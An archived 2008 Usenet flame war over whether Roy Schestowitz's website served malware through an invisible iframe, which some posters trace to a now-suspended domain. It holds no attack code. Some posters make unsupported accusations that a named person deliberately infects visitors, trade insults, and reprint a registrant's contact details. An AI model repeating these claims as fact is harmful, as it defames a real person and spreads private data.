PDA

View Full Version : Re: WARNING: Roy Schestowitz is spreading virusses on his website, don't go there!!!!!!!!



Moshe Goldfarb
03-14-08, 01:53 PM
On Fri, 14 Mar 2008 17:58:24 +0100, Dr. Bill wrote:

> Roy Schestowitz, a lintard / spammer from cola is spreading virusses.For
> instance, when an "Average Joe" windowsuser, who probably wants more
> information about Linux, visits it's website, Average Joe's computer gets
> infested with a virus / trojan. Great example of Linux advocating in cola.
> http://www.angelfire.com/psy/doctorbill/Schestowitz.com.jpg
> I'll see to it that Roy Schestowitz is banned through:
> http://www.mvps.org/winhelp2002/hosts.htm
> <Blocking Unwanted Parasites with a Hosts File>
> <Now includes most major parasites , hijackers and unwanted
> Adware/Spyware programs!>
> This parasite, Roy Schestowitz, has to be banned from the internet.

Other people have been complaining about the same site as well as Roy
Schestowitz's other sites.

http://groups.google.com/group/alt.computer.security/msg/d7057dc9e9db2135

" I posted a message on www.schestowitz.com that was somewhat anti-
linux.
Not only was the message deleted but shortly afterwards I started
getting pings of death from that site. If that wasn't bad enough, I
had a rogue program, testicles.com trying to connect to
www.schestowitz.com.

As if that were not bad enough, I got the same exact results on
another site, www.boycottnovel.com which coincidently is run by the
same person, Roy Schestowitz.

Maybe I am wrong, but I would suggest people avoid those two sites. "


I would put every one of Roy Schestowitz's domains in a hosts block file.


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Ant
03-14-08, 05:27 PM
"Moshe Goldfarb" wrote:

> On Fri, 14 Mar 2008 17:58:24 +0100, Dr. Bill wrote:
>> Roy Schestowitz, a lintard / spammer from cola is spreading virusses.

> Other people have been complaining about the same site as well as Roy
> Schestowitz's other sites.

The site shows symptoms of having been hacked. There's an invisible
iframe at the end of the page at schestowitz.com which leads to the
now non-resolving pinoc.com:

Domain Name: PINOC.COM
Registrar: ESTDOMAINS, INC.

Registrant:
N/A
Manager (manager@home-made.tv)
Wolfson 25
Rishon-Le-Zion
Ha Merkaz,75203
IL
Tel. +972.525920204

Status:SUSPENDED
Note: This Domain Name is Suspended. In this status the domain name is
InActive and will not function.

Moshe Goldfarb
03-14-08, 05:43 PM
On Fri, 14 Mar 2008 22:27:27 -0000, Ant wrote:

> "Moshe Goldfarb" wrote:
>
>> On Fri, 14 Mar 2008 17:58:24 +0100, Dr. Bill wrote:
>>> Roy Schestowitz, a lintard / spammer from cola is spreading virusses.
>
>> Other people have been complaining about the same site as well as Roy
>> Schestowitz's other sites.
>
> The site shows symptoms of having been hacked. There's an invisible
> iframe at the end of the page at schestowitz.com which leads to the
> now non-resolving pinoc.com:
>
> Domain Name: PINOC.COM
> Registrar: ESTDOMAINS, INC.
>
> Registrant:
> N/A
> Manager (manager@home-made.tv)
> Wolfson 25
> Rishon-Le-Zion
> Ha Merkaz,75203
> IL
> Tel. +972.525920204
>
> Status:SUSPENDED
> Note: This Domain Name is Suspended. In this status the domain name is
> InActive and will not function.

I'm not a programmer but people have been complaining about
www.schestowitz.com and www.boycottnovell.com for quite a while now.

Of course Roy Schestowitz does nothing about this because chances are good,
he is the person who embedded the trojan to begin with.

Google him and decide for yourself.

--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

David H. Lipman
03-14-08, 06:02 PM
From: "Ant" <not@home.today>

|
| The site shows symptoms of having been hacked. There's an invisible
| iframe at the end of the page at schestowitz.com which leads to the
| now non-resolving pinoc.com:
|
| Domain Name: PINOC.COM
| Registrar: ESTDOMAINS, INC.
|

Thanx Ant. ESTDomains says it all.

I agree with your conclusion, this site was hacked.

--
Dave
http://www.claymania.com/removal-trojan-adware.html
Multi-AV - http://www.pctipp.ch/downloads/dl/35905.asp

Roy Schestowitz
03-14-08, 06:03 PM
____/ Ant on Friday 14 March 2008 22:27 : \____

> "Moshe Goldfarb" wrote:
>
>> On Fri, 14 Mar 2008 17:58:24 +0100, Dr. Bill wrote:
>>> Roy Schestowitz, a lintard / spammer from cola is spreading virusses.
>
>> Other people have been complaining about the same site as well as Roy
>> Schestowitz's other sites.
>
> The site shows symptoms of having been hacked. There's an invisible
> iframe at the end of the page at schestowitz.com which leads to the
> now non-resolving pinoc.com:
>
> Domain Name: PINOC.COM
> Registrar: ESTDOMAINS, INC.
>
> Registrant:
> N/A
> Manager (manager@home-made.tv)
> Wolfson 25
> Rishon-Le-Zion
> Ha Merkaz,75203
> IL
> Tel. +972.525920204
>
> Status:SUSPENDED
> Note: This Domain Name is Suspended. In this status the domain name is
> InActive and will not function.

See:

Hackers Attack Trend Micro

,----[ Quote ]
| Security vendor Trend Micro has fallen victim to a widespread Web attack that
| splashed malicious software onto hundreds of legitimate Web sites in recent
| days.
|
| [...]
|
| Researchers are still not sure how the attackers are managing to hack these
| Web pages, but the pages all seem to use Microsoft's Active Server Page (ASP)
| technology, which is used by many Web development programs to create dynamic
| HTML pages. A software bug in any of those programs is all the attackers need
| to install their malicious code.
`----

http://www.pcworld.com/article/id,143445-c,hackers/article.html

400,000+ infected web pages in a week?!

http://beranger.org/index.php?page=diary&2008/03/14/12/52/22-400-000-infected-web-pages-in-a-

I've _cleaned up my_ Web site (it took a long while). And for trolls who
spreading BS, thousands of sites including big ones like ZDNet are affected.

Hackers launch massive IFRAME attack

,----[ Quote ]
| But Danchev was more pessimistic that the attacks could be halted
| quickly. "To sum up -- it's a mess," he said.
`----

http://www.linuxworld.com.au/index.php?id=26001482&rid=-50

Before accusing individuals, look at the Web as a whole. And if you're using
Windows, be careful of pretty much /ANY/ site you visit. The press is filled
with articles about what became a plague and nobody yet knows how many sites
are really affected.

--
~~ Best of wishes

Roy S. Schestowitz
http://Schestowitz.com | RHAT GNU/Linux | PGP-Key: 0x74572E8E
23:00:03 up 50 days, 8:54, 4 users, load average: 1.96, 1.45, 1.43
http://iuron.com - help build a non-profit search engine

The Ghost In The Machine
03-14-08, 06:18 PM
In comp.os.linux.advocacy, Moshe Goldfarb
<brick.n.straw@gmail.com>
wrote
on Fri, 14 Mar 2008 18:43:32 -0400
<oy37gf11pczp$.zwxx7xpkcun6$.dlg@40tude.net>:
> On Fri, 14 Mar 2008 22:27:27 -0000, Ant wrote:
>
>> "Moshe Goldfarb" wrote:
>>
>>> On Fri, 14 Mar 2008 17:58:24 +0100, Dr. Bill wrote:
>>>> Roy Schestowitz, a lintard / spammer from cola is spreading virusses.
>>
>>> Other people have been complaining about the same site as well as Roy
>>> Schestowitz's other sites.
>>
>> The site shows symptoms of having been hacked. There's an invisible
>> iframe at the end of the page at schestowitz.com which leads to the
>> now non-resolving pinoc.com:
>>
>> Domain Name: PINOC.COM
>> Registrar: ESTDOMAINS, INC.
>>
>> Registrant:
>> N/A
>> Manager (manager@home-made.tv)
>> Wolfson 25
>> Rishon-Le-Zion
>> Ha Merkaz,75203
>> IL
>> Tel. +972.525920204
>>
>> Status:SUSPENDED
>> Note: This Domain Name is Suspended. In this status the domain name is
>> InActive and will not function.
>
> I'm not a programmer but people have been complaining about
> www.schestowitz.com and www.boycottnovell.com for quite a while now.

Where have they (or, for that matter, you) been
complaining? Clearly, if they're complaining here, it's
the wrong forum. Send an email to the uplink, or contact
the appropriate authorities -- probably www.fbi.gov.

I would have thought this obvious but clearly it has yet to
penetrate to those who have been complaining. Get a grip,
people; problems do not go away by themselves. (They can
be ignored, of course, but that simply means one puts horse
blinders on. It doesn't take care of that flashing light.)

BTW...suspension of the domain name does not in itself
inactivate the attack; DNS must also be notified.
Presumably, this has been done, as www.pinoc.com no longer
resolves.

>
> Of course Roy Schestowitz does nothing about this because chances are good,
> he is the person who embedded the trojan to begin with.
>
> Google him and decide for yourself.

Ah, OK. In that case, submit evidence to the FBI as
well; they'll be *very* interested in hearing of an
infectious vector source -- and will probably initiate
criminal proceedings if there's enough evidence. Of course
you'll also want to submit evidence to the FBI, Interpol,
and the Israeli authorities as well, that there is a
connection between Roy Schestowitz and whoever lives at
the Wolfson 25.

Up to you.

--
#191, ewill3@earthlink.net
Linux sucks efficiently, but Windows just blows around
a lot of hot air and vapor.

--
Posted via a free Usenet account from http://www.teranews.com

Moshe Goldfarb
03-14-08, 06:37 PM
On Fri, 14 Mar 2008 23:03:42 +0000, Roy Schestowitz wrote:


> Before accusing individuals, look at the Web as a whole. And if you're using
> Windows, be careful of pretty much /ANY/ site you visit. The press is filled
> with articles about what became a plague and nobody yet knows how many sites
> are really affected.

Shut up already you fool.
Your site is a trojan site, bottom line.

You, Roy Schestowitz, the stalwart of Linux advocacy have been operating a
site that has been comprimising the systems of people who visit your site.

And if that was not enough, you were warned months ago about this and
refused to do anything.

To me, that says you are behind the entire thing and your sole purpose is
to infect Windows machines.

Nice.
Real nice, Roy Schestowitz.


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Dr.Hal0nf1r$
03-14-08, 07:33 PM
Moshe Goldfarb wrote:
> On Fri, 14 Mar 2008 23:03:42 +0000, Roy Schestowitz wrote:
>
>
>> Before accusing individuals, look at the Web as a whole. And if
>> you're using Windows, be careful of pretty much /ANY/ site you
>> visit. The press is filled with articles about what became a plague
>> and nobody yet knows how many sites are really affected.
>
> Shut up already you fool.
> Your site is a trojan site, bottom line.
>
> You, Roy Schestowitz, the stalwart of Linux advocacy have been
> operating a site that has been comprimising the systems of people who
> visit your site.
>
> And if that was not enough, you were warned months ago about this and
> refused to do anything.
>
> To me, that says you are behind the entire thing and your sole
> purpose is to infect Windows machines.
>
> Nice.
> Real nice, Roy Schestowitz.

Isn't that a standard Linux**** tactic?

Moshe Goldfarb
03-14-08, 07:39 PM
On Sat, 15 Mar 2008 00:33:30 -0000, Dr.Hal0nf1r$ wrote:

> Moshe Goldfarb wrote:
>> On Fri, 14 Mar 2008 23:03:42 +0000, Roy Schestowitz wrote:
>>
>>
>>> Before accusing individuals, look at the Web as a whole. And if
>>> you're using Windows, be careful of pretty much /ANY/ site you
>>> visit. The press is filled with articles about what became a plague
>>> and nobody yet knows how many sites are really affected.
>>
>> Shut up already you fool.
>> Your site is a trojan site, bottom line.
>>
>> You, Roy Schestowitz, the stalwart of Linux advocacy have been
>> operating a site that has been comprimising the systems of people who
>> visit your site.
>>
>> And if that was not enough, you were warned months ago about this and
>> refused to do anything.
>>
>> To me, that says you are behind the entire thing and your sole
>> purpose is to infect Windows machines.
>>
>> Nice.
>> Real nice, Roy Schestowitz.
>
> Isn't that a standard Linux**** tactic?

Maybe I am naive, but I kind of liked to give the Linux advocate the
benefit of the doubt.

In this case however, the flagrant behavior of Roy Schestowitz is obviously
proof of his clandestine motives.

My advice is to avoid www.schestowitz.com and www.boycottnovell.com until
those sites can be cleaned and exterminated of potential bugs.


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Sebastian G.
03-14-08, 07:48 PM
Moshe Goldfarb wrote:

> On Fri, 14 Mar 2008 23:03:42 +0000, Roy Schestowitz wrote:
>
>
>> Before accusing individuals, look at the Web as a whole. And if you're using
>> Windows, be careful of pretty much /ANY/ site you visit. The press is filled
>> with articles about what became a plague and nobody yet knows how many sites
>> are really affected.
>
> Shut up already you fool.
> Your site is a trojan site, bottom line.


So is Yahoo. Your point being?

> You, Roy Schestowitz, the stalwart of Linux advocacy have been operating a
> site that has been comprimising the systems of people who visit your site.


1. It is not his site, but the context it includes. That's outside of his
responsibility.
2. The website doesn't magically compromise systems. Only MSIE is affected,
which usage is already a gross fault of the user.

> And if that was not enough, you were warned months ago about this and
> refused to do anything.


Why should he? If the users actively offer a remote shell to every website
they visit, it's their problem.

Dr.Hal0nf1r$
03-14-08, 07:50 PM
Moshe Goldfarb wrote:
> On Sat, 15 Mar 2008 00:33:30 -0000, Dr.Hal0nf1r$ wrote:
>
>> Moshe Goldfarb wrote:
>>> On Fri, 14 Mar 2008 23:03:42 +0000, Roy Schestowitz wrote:
>>>
>>>
>>>> Before accusing individuals, look at the Web as a whole. And if
>>>> you're using Windows, be careful of pretty much /ANY/ site you
>>>> visit. The press is filled with articles about what became a plague
>>>> and nobody yet knows how many sites are really affected.
>>>
>>> Shut up already you fool.
>>> Your site is a trojan site, bottom line.
>>>
>>> You, Roy Schestowitz, the stalwart of Linux advocacy have been
>>> operating a site that has been comprimising the systems of people
>>> who visit your site.
>>>
>>> And if that was not enough, you were warned months ago about this
>>> and refused to do anything.
>>>
>>> To me, that says you are behind the entire thing and your sole
>>> purpose is to infect Windows machines.
>>>
>>> Nice.
>>> Real nice, Roy Schestowitz.
>>
>> Isn't that a standard Linux**** tactic?
>
> Maybe I am naive, but I kind of liked to give the Linux advocate the
> benefit of the doubt.
>
> In this case however, the flagrant behavior of Roy Schestowitz is
> obviously proof of his clandestine motives.
>
> My advice is to avoid www.schestowitz.com and www.boycottnovell.com
> until those sites can be cleaned and exterminated of potential bugs.

I suggest reporting those sites to the writer(s) of Spybot Search and
Destroy updates.

Moshe Goldfarb
03-14-08, 08:00 PM
On Sat, 15 Mar 2008 01:48:27 +0100, Sebastian G. wrote:

> Moshe Goldfarb wrote:
>
>> On Fri, 14 Mar 2008 23:03:42 +0000, Roy Schestowitz wrote:
>>
>>
>>> Before accusing individuals, look at the Web as a whole. And if you're using
>>> Windows, be careful of pretty much /ANY/ site you visit. The press is filled
>>> with articles about what became a plague and nobody yet knows how many sites
>>> are really affected.
>>
>> Shut up already you fool.
>> Your site is a trojan site, bottom line.
>
>
> So is Yahoo. Your point being?
>
>> You, Roy Schestowitz, the stalwart of Linux advocacy have been operating a
>> site that has been comprimising the systems of people who visit your site.
>
>
> 1. It is not his site, but the context it includes. That's outside of his
> responsibility.
> 2. The website doesn't magically compromise systems. Only MSIE is affected,
> which usage is already a gross fault of the user.
>
>> And if that was not enough, you were warned months ago about this and
>> refused to do anything.
>
>
> Why should he? If the users actively offer a remote shell to every website
> they visit, it's their problem.

Key word.....
MOTIVE....

Google Schestowitz and then get back to us.


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Moshe Goldfarb
03-14-08, 08:01 PM
On Sat, 15 Mar 2008 00:50:08 -0000, Dr.Hal0nf1r$ wrote:

> Moshe Goldfarb wrote:
>> On Sat, 15 Mar 2008 00:33:30 -0000, Dr.Hal0nf1r$ wrote:
>>
>>> Moshe Goldfarb wrote:
>>>> On Fri, 14 Mar 2008 23:03:42 +0000, Roy Schestowitz wrote:
>>>>
>>>>
>>>>> Before accusing individuals, look at the Web as a whole. And if
>>>>> you're using Windows, be careful of pretty much /ANY/ site you
>>>>> visit. The press is filled with articles about what became a plague
>>>>> and nobody yet knows how many sites are really affected.
>>>>
>>>> Shut up already you fool.
>>>> Your site is a trojan site, bottom line.
>>>>
>>>> You, Roy Schestowitz, the stalwart of Linux advocacy have been
>>>> operating a site that has been comprimising the systems of people
>>>> who visit your site.
>>>>
>>>> And if that was not enough, you were warned months ago about this
>>>> and refused to do anything.
>>>>
>>>> To me, that says you are behind the entire thing and your sole
>>>> purpose is to infect Windows machines.
>>>>
>>>> Nice.
>>>> Real nice, Roy Schestowitz.
>>>
>>> Isn't that a standard Linux**** tactic?
>>
>> Maybe I am naive, but I kind of liked to give the Linux advocate the
>> benefit of the doubt.
>>
>> In this case however, the flagrant behavior of Roy Schestowitz is
>> obviously proof of his clandestine motives.
>>
>> My advice is to avoid www.schestowitz.com and www.boycottnovell.com
>> until those sites can be cleaned and exterminated of potential bugs.
>
> I suggest reporting those sites to the writer(s) of Spybot Search and
> Destroy updates.

Done.

I was informed that the sites have already been reported so this is a good
thing.

--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Ant
03-14-08, 08:23 PM
"David H. Lipman" wrote:

> Thanx Ant. ESTDomains says it all.
>
> I agree with your conclusion, this site was hacked.

Disappointed that pinoc.com wouldn't resolve. I was hoping to find
some malware to dissect.

BTW, Mr Schestowitz seems a popular figure! If he's associated in any
way with "lintard" (who I presume to be Dave Lindhart, a litigious
spammer) then I'm not surprised at the fuss.

David H. Lipman
03-14-08, 08:43 PM
From: "Ant" <not@home.today>


|
| Disappointed that pinoc.com wouldn't resolve. I was hoping to find
| some malware to dissect.
|
| BTW, Mr Schestowitz seems a popular figure! If he's associated in any
| way with "lintard" (who I presume to be Dave Lindhart, a litigious
| spammer) then I'm not surprised at the fuss.
|

I posted about this at MWR. I guess it is a moot point now. :-)

--
Dave
http://www.claymania.com/removal-trojan-adware.html
Multi-AV - http://www.pctipp.ch/downloads/dl/35905.asp

Moshe Goldfarb
03-14-08, 08:49 PM
On Sat, 15 Mar 2008 01:23:36 -0000, Ant wrote:

> "David H. Lipman" wrote:
>
>> Thanx Ant. ESTDomains says it all.
>>
>> I agree with your conclusion, this site was hacked.
>
> Disappointed that pinoc.com wouldn't resolve. I was hoping to find
> some malware to dissect.
>
> BTW, Mr Schestowitz seems a popular figure! If he's associated in any
> way with "lintard" (who I presume to be Dave Lindhart, a litigious
> spammer) then I'm not surprised at the fuss.

Schestowitz is a 24x7 PAID SPAMMER.

If you look at the number of submissions he has per month, consider he runs
several Microsoft hate blogs, consider the amount of verbiage in his posts,
consider the hours of the day and the time factor between posts on various
sites like digg.com etc.
The only conclusion that can be reached is that Roy Schestowitz is being
compensated for his SPAMMING.

It is very obvious.

--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

John Bokma
03-14-08, 08:58 PM
Moshe Goldfarb <brick.n.straw@gmail.com> wrote:

> Maybe I am naive

No, you're a ****wit.

foad

--
John Bokma http://johnbokma.com/

Moshe Goldfarb
03-14-08, 09:07 PM
On 15 Mar 2008 01:58:19 GMT, John Bokma wrote:

> Moshe Goldfarb <brick.n.straw@gmail.com> wrote:
>
>> Maybe I am naive
>
> No, you're a ****wit.
>
> foad

Really?
Schestowitz admitted his site was a trojan site.

Learn to read fool.........

--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Roy Schestowitz
03-14-08, 11:14 PM
____/ Sebastian G. on Saturday 15 March 2008 02:40 : \____

> Moshe Goldfarb wrote:
>
>
>> Key word.....
>> MOTIVE....
>
>
> Indeed, he has a motive to not care for what problems stupid visitors have
> with third party content included on his site. Then again, almost no one
> cares anyway.

I've worked for 2 days on resolving this (it took a long time to handle
100,000+ files). Unlike probably thousands of other Web sites that still have
this iframe problem... (it's nothing to do with the site but a leech-type
reference that get forcibly attached to it).

In the past month there have been many hacking attempts on this domain, coming
from different vectors and scanning for vulnerabilities in difference CMSs
(Advanced Guestbook, Nuke, WordPress, phpBB while others were left alone). On
some days, many thousands of pages were requested by hackers, so there was
clearly a lot of effort going into this.

By the way, there is no "Moshe Goldfarb". It's called "Gary Stewart" (aka
flatfish), a Microsoft Munchkin who has been doing this dirt for over a
decade. Best to just filter out his posts and ignored the smear campaigns and
libel spread about me over the years.

--
~~ Best of wishes

Roy S. Schestowitz | Useless fact: Brazil spans 47.8% of S. America
http://Schestowitz.com | RHAT Linux | PGP-Key: 0x74572E8E
04:05:01 up 50 days, 13:59, 4 users, load average: 0.81, 1.69, 1.78
http://iuron.com - Open Source knowledge engine project

Paul
03-15-08, 02:46 AM
On Fri, 14 Mar 2008 22:07:28 -0400, Moshe Goldfarb
<brick.n.straw@gmail.com> wrote:

>On 15 Mar 2008 01:58:19 GMT, John Bokma wrote:
>
>> Moshe Goldfarb <brick.n.straw@gmail.com> wrote:
>>
>>> Maybe I am naive
>>
>> No, you're a ****wit.
>>
>> foad
>
>Really?
>Schestowitz admitted his site was a trojan site.
>
>Learn to read fool.........

Roy is a respected member of this group.
Roy is NOTHING what you say.

May be it is someone pretending to be Roy.
But it ISN'T Roy.

Grow up or **** off.


----== Posted via Newsfeeds.Com - Unlimited-Unrestricted-Secure Usenet News==----
http://www.newsfeeds.com The #1 Newsgroup Service in the World! 120,000+ Newsgroups
----= East and West-Coast Server Farms - Total Privacy via Encryption =----

Paul
03-15-08, 02:51 AM
On Sat, 15 Mar 2008 04:14:55 +0000, Roy Schestowitz
<newsgroups@schestowitz.com> wrote:

>By the way, there is no "Moshe Goldfarb". It's called "Gary Stewart" (aka
>flatfish), a Microsoft Munchkin who has been doing this dirt for over a
>decade. Best to just filter out his posts and ignored the smear campaigns and
>libel spread about me over the years.

Good to see you Roy.
Boy, you sure do pick up some ****-for-brains people :)

Even a dribbling retard knows you better than Microbrain Munchkin and
his paedo-folllowers do.

If you want to start a lible case on this, I will back you up.

plh
Paul

----== Posted via Newsfeeds.Com - Unlimited-Unrestricted-Secure Usenet News==----
http://www.newsfeeds.com The #1 Newsgroup Service in the World! 120,000+ Newsgroups
----= East and West-Coast Server Farms - Total Privacy via Encryption =----

chrisv
03-15-08, 07:41 AM
Paul wrote:

>On Fri, 14 Mar 2008 22:07:28 -0400, Moshe Goldfarb
>>
>>Learn to read fool.........
>
>Roy is a respected member of this group.
>Roy is NOTHING what you say.
>
>May be it is someone pretending to be Roy.
>But it ISN'T Roy.
>
>Grow up or **** off.

He won't. He's been trolling with the same tired act for years.

Just KF the worthless POS and be done with it.

Linonut
03-15-08, 08:55 AM
* Ant peremptorily fired off this memo:

> "Moshe Goldfarb" wrote:
>
> The site shows symptoms of having been hacked. There's an invisible
> iframe at the end of the page at schestowitz.com which leads to the
> now non-resolving pinoc.com:
>
> Domain Name: PINOC.COM
> Registrar: ESTDOMAINS, INC.
>
> Registrant:
> N/A
> Manager (manager@home-made.tv)
> Wolfson 25
> Rishon-Le-Zion
> Ha Merkaz,75203
> IL
> Tel. +972.525920204
>
> Status:SUSPENDED
> Note: This Domain Name is Suspended. In this status the domain name is
> InActive and will not function.

That entry is borked. The Zip is wrong.

--
If you think your teacher is tough, wait until you get a boss. He doesn't
have tenure.
-- Bill Gates

Linonut
03-15-08, 08:59 AM
* Dr.Hal0nf1r$ peremptorily fired off this memo:

>> To me, that says you are behind the entire thing and your sole
>> purpose is to infect Windows machines.
>>
>> Nice.
>> Real nice, Roy Schestowitz.
>
> Isn't that a standard Linux**** tactic?

No.

--
It turns out Luddites don't know how to use software properly, so you should
look into that. -- The reason we come up with new versions is not to fix
bugs. It's absolutely not. It's the stupidest reason to buy a new version I
ever heard. When we do a new version we put in lots of new things that
people are asking for. And so, in no sense, is stability a reason to move to
a new version. It's never a reason.
-- Bill Gates, http://www.cantrip.org/nobugs.html

Erik Funkenbusch
03-15-08, 11:57 AM
On Sat, 15 Mar 2008 04:14:55 +0000, Roy Schestowitz wrote:

> I've worked for 2 days on resolving this (it took a long time to handle
> 100,000+ files). Unlike probably thousands of other Web sites that still have
> this iframe problem... (it's nothing to do with the site but a leech-type
> reference that get forcibly attached to it).

What a wanker you are Roy.

You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
files were infected. That makes YOUR SITE the spreader, regardless of
where the malware was hosted, YOUR SITE was telling browsers to download
it.

> In the past month there have been many hacking attempts on this domain

Way to make yourself feel special, Roy.

*EVERY* IP ADDRESS IN THE WORLD has many hacking attempts made against it,
every single day.

, coming
> from different vectors and scanning for vulnerabilities in difference CMSs
> (Advanced Guestbook, Nuke, WordPress, phpBB while others were left alone). On
> some days, many thousands of pages were requested by hackers, so there was
> clearly a lot of effort going into this.

No, there are clearly a lot of botnets out there attempting to attack
virtually every IP address in the world. You're not special Roy, it
happens to everyone. Get over it.

Sebastian G.
03-15-08, 12:05 PM
Erik Funkenbusch wrote:

> On Sat, 15 Mar 2008 04:14:55 +0000, Roy Schestowitz wrote:
>
>> I've worked for 2 days on resolving this (it took a long time to handle
>> 100,000+ files). Unlike probably thousands of other Web sites that still have
>> this iframe problem... (it's nothing to do with the site but a leech-type
>> reference that get forcibly attached to it).
>
> What a wanker you are Roy.
>
> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
> USED TO INFECT OTHERS.


There's no indication that his website was compromised. Stating it in big
letters doesn't make any less false.

> That makes YOUR SITE the spreader, regardless of
> where the malware was hosted, YOUR SITE was telling browsers to download
> it.


Wrong as well. The spreaders are the users who advise their system to
automagically install malware downloaded from a website.

chrisv
03-15-08, 12:26 PM
chrisv wrote:
>
> Just KF the worthless POS and be done with it.

*plonk*

Linonut
03-15-08, 12:29 PM
* Erik Funkenbusch peremptorily fired off this memo:

> What a wanker you are Roy.
>
> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
> USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
> files were infected. That makes YOUR SITE the spreader, regardless of
> where the malware was hosted, YOUR SITE was telling browsers to download
> it.
>
> Way to make yourself feel special, Roy.
>
> *EVERY* IP ADDRESS IN THE WORLD has many hacking attempts made against it,
> every single day.
>
> No, there are clearly a lot of botnets out there attempting to attack
> virtually every IP address in the world. You're not special Roy, it
> happens to everyone. Get over it.

Hard to, with you jamming his ass above.

--
Life is not fair; get used to it.
-- Bill Gates

chrisv
03-15-08, 12:46 PM
"chrisv" <chrisv@nospam.invalid> wrote
news:47dc06dd$0$28103$c3e8da3@news.astraweb.com...
> chrisv wrote:
>>
>> Just KF the worthless POS and be done with it.
>
> *plonk*
*plonk* , bro!

Erik Funkenbusch
03-15-08, 01:24 PM
On Sat, 15 Mar 2008 18:05:18 +0100, Sebastian G. wrote:

> Erik Funkenbusch wrote:
>
>> On Sat, 15 Mar 2008 04:14:55 +0000, Roy Schestowitz wrote:
>>
>>> I've worked for 2 days on resolving this (it took a long time to handle
>>> 100,000+ files). Unlike probably thousands of other Web sites that still have
>>> this iframe problem... (it's nothing to do with the site but a leech-type
>>> reference that get forcibly attached to it).
>>
>> What a wanker you are Roy.
>>
>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>> USED TO INFECT OTHERS.
>
> There's no indication that his website was compromised. Stating it in big
> letters doesn't make any less false.

You mean other than the fact he admitted he spend 2 days cleaning up his
site to get rid of it, going through over 100,000 files?

No, other than that, ther's no indication.

>> That makes YOUR SITE the spreader, regardless of
>> where the malware was hosted, YOUR SITE was telling browsers to download
>
> Wrong as well. The spreaders are the users who advise their system to
> automagically install malware downloaded from a website.

In other words, Roy's website.

Erik Funkenbusch
03-15-08, 01:26 PM
On Sat, 15 Mar 2008 13:29:35 -0400, Linonut wrote:

> * Erik Funkenbusch peremptorily fired off this memo:
>
>> What a wanker you are Roy.
>>
>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>> USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
>> files were infected. That makes YOUR SITE the spreader, regardless of
>> where the malware was hosted, YOUR SITE was telling browsers to download
>> it.
>>
>> Way to make yourself feel special, Roy.
>>
>> *EVERY* IP ADDRESS IN THE WORLD has many hacking attempts made against it,
>> every single day.
>>
>> No, there are clearly a lot of botnets out there attempting to attack
>> virtually every IP address in the world. You're not special Roy, it
>> happens to everyone. Get over it.
>
> Hard to, with you jamming his ass above.

Oh, please. His site gets compromised in a standard botnet attack and he
twists to make it seem like he's being targeted explicitly, obviously
because he's such a threat.

You don't see that as paranoia?

chrisv
03-15-08, 01:30 PM
chrisv wrote:
> "chrisv" <chrisv@nospam.invalid> wrote
> news:47dc06dd$0$28103$c3e8da3@news.astraweb.com...
>> chrisv wrote:
>>>
>>> Just KF the worthless POS and be done with it.
>>
>> *plonk*
> *plonk* , bro!

Don't *plonk* me, bro!

Linonut
03-15-08, 01:39 PM
* Erik Funkenbusch peremptorily fired off this memo:

> On Sat, 15 Mar 2008 13:29:35 -0400, Linonut wrote:
>>>
>>> No, there are clearly a lot of botnets out there attempting to attack
>>> virtually every IP address in the world. You're not special Roy, it
>>> happens to everyone. Get over it.
>>
>> Hard to, with you jamming his ass above.
>
> Oh, please. His site gets compromised in a standard botnet attack and he
> twists to make it seem like he's being targeted explicitly, obviously
> because he's such a threat.
>
> You don't see that as paranoia?

I don't see the /that/ that you see.

And even in that case, no, it is not paranoia. There are plenty of
COLA-lurking clowns that would have a great time if they could hack
Roy's sites.

And you know it.

--
There never was a chip, it is said, that Bill Gates couldn't slow down with a
new batch of features.
-- James Coates, The Chicago Tribune

Hadron
03-15-08, 01:41 PM
Linonut <linonut@bollsouth.nut> writes:

> * Erik Funkenbusch peremptorily fired off this memo:
>
>> What a wanker you are Roy.
>>
>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>> USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
>> files were infected. That makes YOUR SITE the spreader, regardless of
>> where the malware was hosted, YOUR SITE was telling browsers to download
>> it.
>>
>> Way to make yourself feel special, Roy.
>>
>> *EVERY* IP ADDRESS IN THE WORLD has many hacking attempts made against it,
>> every single day.
>>
>> No, there are clearly a lot of botnets out there attempting to attack
>> virtually every IP address in the world. You're not special Roy, it
>> happens to everyone. Get over it.
>
> Hard to, with you jamming his ass above.

Not that I expect a liar and fraud like you to understand, but which
part of what Erik said was WRONG Liarnut?

Bottom line : Schestowitz was infecting other peoples computers. And
since it was only Windows machines which got infected it wouldn't
surprise me one bit if there was more to this than meets the eye. He was
told ages ago about this and did NOTHING about it.

And now he starts waffling on about how is ip was attacked? Whoopee
Doo. It happens to everyone on broadband EVERY DAY!

The fact is that he is an incompetent big head with a persecution
complex. Him and Mark Kent have been made to look like the boobies they
are in the past few days.

You should be ashamed of yourself supporting such phonies and
idiots. They do more to harm the Linux cause than MS ever could!

Hadron
03-15-08, 01:43 PM
"Sebastian G." <seppi@seppig.de> writes:

> Erik Funkenbusch wrote:
>
>> On Sat, 15 Mar 2008 04:14:55 +0000, Roy Schestowitz wrote:
>>
